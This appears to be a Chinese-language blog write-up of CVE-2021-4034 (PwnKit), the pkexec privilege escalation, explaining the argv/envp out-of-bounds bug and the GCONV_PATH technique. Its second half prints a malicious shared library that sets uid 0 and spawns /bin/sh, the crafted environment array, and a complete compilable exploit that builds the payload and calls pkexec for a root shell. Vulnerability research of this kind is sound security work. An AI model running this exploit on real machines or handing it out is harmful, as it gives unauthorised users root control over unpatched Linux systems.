OneShell

I fight for a brighter tomorrow

0%

CVE-202104034 pkexec权限提升

下载源码并编译

我的 Linux 是 Kali 系统,查看自带的 pkexec 版本,以及下载对应的源代码。

1
2
3
4
5
# kali @ kali in ~/CVEs/CVE-2021-4034 [1:26:04]
$ pkexec --version
pkexec version 0.105
# kali @ kali in ~/CVEs/CVE-2021-4034 [1:26:54] C:1
$ dpkg -S pkexec

undifined

1
2
3
4
5
6
7
8
9
10
11
# kali @ kali in ~/CVEs/CVE-2021-4034 [1:29:34]
$ tree -L 1
.
├── debug
├── payload
├── policykit-1_0.105-31+kali1.debian.tar.xz
├── policykit-1_0.105-31+kali1.dsc
├── policykit-1_0.105.orig.tar.gz
└── polkit-0.105

3 directories, 3 files

undifined

漏洞分析

漏洞成因是在解析命令行参数数组 argv 时,发生了数组越界读,随后又发生了数组越界写到环境变量数组,导致第一个环境变量可被修改。接下来会分别从程序正常运行流程和漏洞触发流程进行分析。

正常执行流程

在 pkexec 工具的 main 函数中,使用如下的 for 循环来处理所有的命令行参数,方式是读取 argv[1] 到 argv[argc] 并进行比较,设置相应的标志位。

undifined

使用了一个断言,argv[argc] 必须为 NULL。从 argv[n] 开始复制字符串到 path 变量中,如果 path 等于 NULL,打印帮助信息并退出;如果 path[0] 不是以 / 字符开始的,则从 PATH 环境变量中以 path 字符串搜索应用程序是否存在,并将结果复制到变量 s,如果应用程序存在,则将应用程序路径重新赋值给变量 path 和 argv[n]。main 函数中也会重新构造新的命令行参数列表。

undifined

变量 path 和新的命令行参数会一起送入到 execv 函数执行。

undifined

漏洞触发流程

在解析命令行参数的时候,使用了循环变量 n,但是 n 的初始值是 1。如果 pkexec 传入的命令行参数为空,即 argc = 1,argv[0] 等于应用程序名,argv[0] = NULL。那么当参数解析流程结束时,变量 n = 1,那么在此处 argv[1] 存在越界读。

undifined

同样,在此处存在越界写入到 argv[1]。

undifined

当 execve 执行一个新程序的时候,内核会将命令参数指针 argv、环境变量字符串指针 envp 复制到新程序堆栈的中,如下所示:

1
2
3
|---------+---------+-----+------------|---------+---------+-----+------------| 
| argv[0] | argv[1] | ... | argv[argc] | envp[0] | envp[1] | ... | envp[envc] |
|----|----+----|----+-----+-----|------|----|----+----|----+-----+-----|------|

因为 argv 和 envp 在内存中是连续的,当 argc 等于 0,那么前面所说的 argv[n] = argv[1] 也就是 envp[0]。

以上就是漏洞触发的原理,接下来梳理一下漏洞触发的完整流程,假设 pkexec 是通过 execve 调用,设置 argv = NULL,envp = xxx:

  1. 在 481 行 for 循环中初始化变量 n = 1

  2. 在 537 行,出现越界读 argv[n] = argv[1] = envp[0] 到变量 path

    那么此时有 path = “xxx”

  3. 在 546 行,s = g_find_program_in_path(path)

    s 从环境变量 PATH 中搜索 xxx 程序的绝对路径,假设是 /usr/bin/xxx

  4. 在 553 行,出现越界写 argv[n] = argv[1] = s,即 envp[0] = {“/usr/bin/xxx”, …},环境变量数组第一个元素被覆盖

综上,使用 execve 调用 pkexec,设置命令行参数列表 argv 为 NULL,就可以通过对 envp[0] 进行越界读写。但是,写入的 envp[0] 不会存在很久,因为在源码中会对所有的环境变量进行清除。那么越界写入的环境变量就只能存在于 555~602 行代码中。

undifined

除此之外,Linux 的动态链接器 ld-linux-x86-64.so.2 会在特权程序执行时,清除一些敏感环境变量,其中就包括 GCONV_PATH 以及其他的一些具有动态加载路径的环境变量,防止低权限用户通过这些环境变量利用 SUID 权限程序造成提权。

漏洞利用

通过之前的分析,知道 pkexec 中存在越界读写环境变量漏洞,但是越界写入的环境变量的生命周期只能从 555~602 行。pkexec 是具有 SUID 权限的,普通用户可以以 root 权限运行 pkexec。

1
2
$ ls -la /usr/local/bin/pkexec
-rwsr-xr-x 1 root root 64440 Feb 2 02:25 /usr/local/bin/pkexec

在 pkexec 的源码中使用了很多次的 g_printer 函数用于输出错误信息。如果环境变量 CHARSET 不是 UTF-8,g_printer 会调用 glibc 的 iconv_open 函数,将消息转换成 UTF-8。iconv_open 函数的执行流程是:先找到系统提供的 gconv-modules 配置文件,在这个文件中包含了各种字符集相关信息的存储路径,每个字符集的相关信息存储在一个 so 文件中。

综上:gconv-modules 配置文件提供了每个字符集 so 文件所在位置,之后会调用 so 文件中的 gconv 和 gconv_init 函数,如果修改系统的 GCONV_PATH 环境变量,也就能修改 gconv-modules 配置文件的位置,从而执行恶意的 so 文件实现任意命令执行。本质上都是想办法触发 g_printer 函数,调用恶意 so。

利用的流程是:

  1. 创建环境变量指向的目录文件结构

    首先创建一个名为 GCONV_PATH=. 的文件夹,然后在其中再创建一个名为 GCONV_PATH=./lol,以及创建一个目录名为 lol 目录存放恶意的 so 文件。然后再创建一个文件 lol/gconv-modules,其中内容为 module UTF-8// PWNKIT// pwnkit 1。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    # kali @ kali in ~/CVEs/CVE-2021-4034/payload [22:09:38]
    $ tree -L 2
    .
    ├── GCONV_PATH=.
    │   └── lol
    └── lol
    └── gconv-modules

    2 directories, 2 files
  2. 构造恶意的 so 文件

    在 lol 文件夹中编译一个恶意的 so,代码示例如下:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    // gcc -o payload.so -shared -fPIC payload.c
    #include <stdio.h>
    #include <stdlib.h>
    #include <unistd.h>

    void gconv() {
    return;
    }

    void gconv_init() {
    setuid(0); seteuid(0); setgid(0); setegid(0);
    static char *a_argv[] = { "sh", NULL };
    static char *a_envp[] = { "PATH=/bin:/usr/bin:/sbin", NULL };
    execve("/bin/sh", a_argv, a_envp);
    exit(0);
    }
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    # kali @ kali in ~/CVEs/CVE-2021-4034/payload [22:40:51]
    $ tree -L 2
    .
    ├── GCONV_PATH=.
    │   └── lol
    ├── lol
    │   └── gconv-modules
    ├── payload.c
    └── payload.so

    2 directories, 4 files
  3. 使用 execve 调用 pkexec 并带入恶意的 envp 环境变量数组

    设置恶意环境变量 envp 如下:

    1
    2
    3
    4
    5
    6
    7
    char *a_envp[] = {
    "lol", // 触发越界写,使得a_envp[0]=GCONV_PATH=./lol
    "PATH=GCONV_PATH=.", // g_find_program_in_path函数查找lol,在给GCONV_PATH=./lol
    "CHARSET=PWNKIT", // 触发调用g_printerr函数,从而调用恶意的so文件
    "SHELL=lol", // 调用g_printerr函数,调用恶意so文件
    NULL
    }

    然后就使用 execve 调用 pkexec

    1
    execve("pkexec", NULL, a_envp);

综上,exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <fcntl.h>

void fatal(char *f) {
perror(f);
exit(-1);
}

void compile_so() {
FILE *f = fopen("payload.c", "wb");
if (f == NULL) {
fatal("fopen");
}

char so_code[]=
"#include <stdio.h>\n"
"#include <stdlib.h>\n"
"#include <unistd.h>\n"
"void gconv() {\n"
" return;\n"
"}\n"
"void gconv_init() {\n"
" setuid(0); seteuid(0); setgid(0); setegid(0);\n"
" static char *a_argv[] = { \"sh\", NULL };\n"
" static char *a_envp[] = { \"PATH=/bin:/usr/bin:/sbin\", NULL };\n"
" execve(\"/bin/sh\", a_argv, a_envp);\n"
" exit(0);\n"
"}\n";

fwrite(so_code, strlen(so_code), 1, f);
fclose(f);

system("gcc -o payload.so -shared -fPIC payload.c");
}

int main(int argc, char *argv[]) {
struct stat st;
char *a_argv[]={ NULL };
char *a_envp[]={
"lol",
"PATH=GCONV_PATH=.",
"LC_MESSAGES=en_US.UTF-8",
"XAUTHORITY=../LOL",
NULL
};

printf("[~] compile helper..\n");
compile_so();

if (stat("GCONV_PATH=.", &st) < 0) {
if(mkdir("GCONV_PATH=.", 0777) < 0) {
fatal("mkdir");
}
int fd = open("GCONV_PATH=./lol", O_CREAT|O_RDWR, 0777);
if (fd < 0) {
fatal("open");
}
close(fd);
}

if (stat("lol", &st) < 0) {
if(mkdir("lol", 0777) < 0) {
fatal("mkdir");
}
FILE *fp = fopen("lol/gconv-modules", "wb");
if(fp == NULL) {
fatal("fopen");
}
fprintf(fp, "module UTF-8// INTERNAL ../payload 2\n");
fclose(fp);
}

printf("[~] maybe get shell now?\n");

execve("/usr/bin/pkexec", a_argv, a_envp);
}

运行截图:

undifined

参考链接